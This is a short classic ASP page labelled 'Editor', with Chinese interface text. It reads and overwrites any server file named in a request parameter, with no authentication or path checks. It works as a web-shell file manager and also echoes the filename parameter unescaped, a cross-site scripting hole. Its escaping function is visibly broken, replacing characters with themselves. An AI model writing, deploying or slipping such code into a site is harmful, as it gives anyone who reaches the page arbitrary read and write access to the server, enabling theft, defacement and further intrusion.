<%Server.ScriptTimeout=5000%> Editor 文件:<%= request("filename") %> <% Function Deal(exp1) dim exp2 exp2=Replace(exp1,"<","<") exp2=Replace(exp2,">",">") exp2=Replace(exp2,"'","''") Deal=exp2 End Function If Request("task")="read" then dim wj filename=Request("filename") '读文件 whichfile=filename Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile(whichfile, 1, False) counter=0 do while not thisfile.AtEndOfStream thisline=thisfile.readline wj=wj+chr(13)+chr(10)+thisline counter=counter+1 loop thisfile.Close Set fs=nothing Response.Write " 一共有" & Cstr(counter) & "行
" '读文件结束 %>
">

内容:

<% elseif Request("task")="change" then filename=Request("filename") whichfile=filename Set fs = CreateObject("Scripting.FileSystemObject") Set outfile=fs.CreateTextFile(whichfile) outfile.Write Request("wj") outfile.close set fs=nothing Response.Write "完成!" end if %>